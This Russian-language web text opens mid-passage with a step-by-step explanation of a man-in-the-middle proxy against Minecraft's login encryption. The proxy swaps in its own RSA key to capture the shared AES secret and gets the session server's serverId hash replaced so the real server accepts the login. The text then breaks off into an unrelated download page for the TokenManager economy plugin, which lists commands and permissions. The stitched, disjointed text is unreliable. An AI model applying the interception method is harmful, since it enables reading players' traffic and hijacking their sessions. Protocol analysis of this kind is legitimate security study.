Клиент фактически говорит: у меня есть действительный токен 123 связанный с юзернеймом m7 и я хочу зайти на сервер с sha1(публичным ключем 456 и общим секретом 789)

  • Client -> Server: ClassicLogin.EncryptionResponse(SharedSecret, VerifyToken)
    Клиент отвечает зашифрованными публичным ключем сервера, симметричным ключем и токеном проверки

Разбор дешифрования

  • Когда сервер запрашивает у клиента включение шифрования, он посылает ему свой публичный ключ RSA и данные проверки, которые клиент должен зашифровать ключем сервера.
  • Когда прокси видит этот пакет, он подменяет ключ и/или данные проверки на собственные. Это нужно, что-бы когда клиент ответит общим симметричным ключем, зашифрованным публичным ключем сервера, мы могли его расшифровать и сохранить для расшифровки последющих сообщений.
  • Затем клиент отвечает общим симметричным ключем и рандомными данными, которые отправил сервер, но зашифрованные публичным ключем сервера. А перед тем как ответить, клиент делает запрос на sessionserver.mojang.com и отправляет туда свой токен, полученный при авторизации, и хеш sha1(shared_secret + public_key). Это нужно для защиты от атаки человека по середине, который подменит публичный ключ (но не подменит сессию).
  • Когда прокси получает ответ от клиента, он обращается к серверу сессий и дает команду подменить sha1(shared_secret + proxy_public_key) на sha1(shared_secret + server_public_key).
  • Когда сервер получает ответ от прокси, он обращается к серверу сессий на конечную точку session/minecraft/hasJoined с serverId, равным sha1(shared_secret + server_public_key) с общим секретом и username получеными от клиента, но так как прокси подменил serverId, сервер получает ответ 204 от сервера сессий (означает что проверка юзернейма прошла успешно) и подтверждает вход в игру пакетом LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7') который передаётся уже зашифрованным с помощью общего секрета и шифра AES.

Еще по теме (англ)

  • https://wiki.vg/Protocol_Encryption#Authentication
  • https://wiki.vg/Legacy_Mojang_Authentication#Authenticate

Скачать плагин TokenManager | Простой плагин на экономику для сервреа Майнкрафт

Скачать плагин TokenManager | Простой плагин на экономику для сервреа Майнкрафт

TokenManager – плагин для вашего сервера Minecraft, который добавляет простую экономику с полностью настраиваемыми магазинами, командами на продажу и многим другим.

Возможности:

- Простые команды и права

- Широкие настройки магазинов

- Поддержка MySQL / Обмен токенами между серверами

- Поддержка оффлайн серверов

- API для разработчиков

- и много других возможностей.

Команды плагина:

/token или /tokens - список команд

/token [balance | bal | money] [Игрок] - посмотреть баланс игрока

/token send [Игрок] - перевод токенов игроку

/token shop [название] - открыть магазин

/token shops - список магазинов

/token top - топ игроков по токенам

/token sell - продать предмет

/token worth - цена предмета

/tm или /tokenmanager - список админ команд

/tm [add | give] [Игрок] [кол-во] - дать токены игроку

/tm [remove | delete] [Игрок] [кол-во] - удалить токены игроку

/tm set [Игрок] [кол-во] - установить баланс токенов игроку

/tm open [Игрок] [магазин] - открыть магазин игроку

/tm [giveall | sendall] [кол-во] - дать всем онлайн игрокам токены

/tm [reload | rl] - перезагрузить плагин

/tm transfer - перенос данных из data.yml в базу данных MySQL

Права плагина:

tokenmanager.use - доступ к /token

tokenmanager.use.balance.others - доступ к /token balance [Игрок]

tokenmanager.use.send - доступ к /token send

tokenmanager.use.shop - доступ к /token [shop | shops]

tokenmanager.use.top - доступ к /token top

tokenmanager.use.sell - доступ к /token sell

tokenmanager.use.sell.all - доступ к /token sell all

tokenmanager.use.worth - доступ к /token worth

tokenmanager.use.worth.all - доступ к /token worth all

tokenmanager.admin - доступ к админ командам

Заполнители / PlaceHolders:

Зависимости плагина:

- Для работы плагина установите Vault и PlaceHolderAPI

Как установить плагин?

1. Скачайте плагин.

2. Возьмите скачанный файл и перенесите в папку plugins вашего сервера.

3. Перезапустите сервер.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *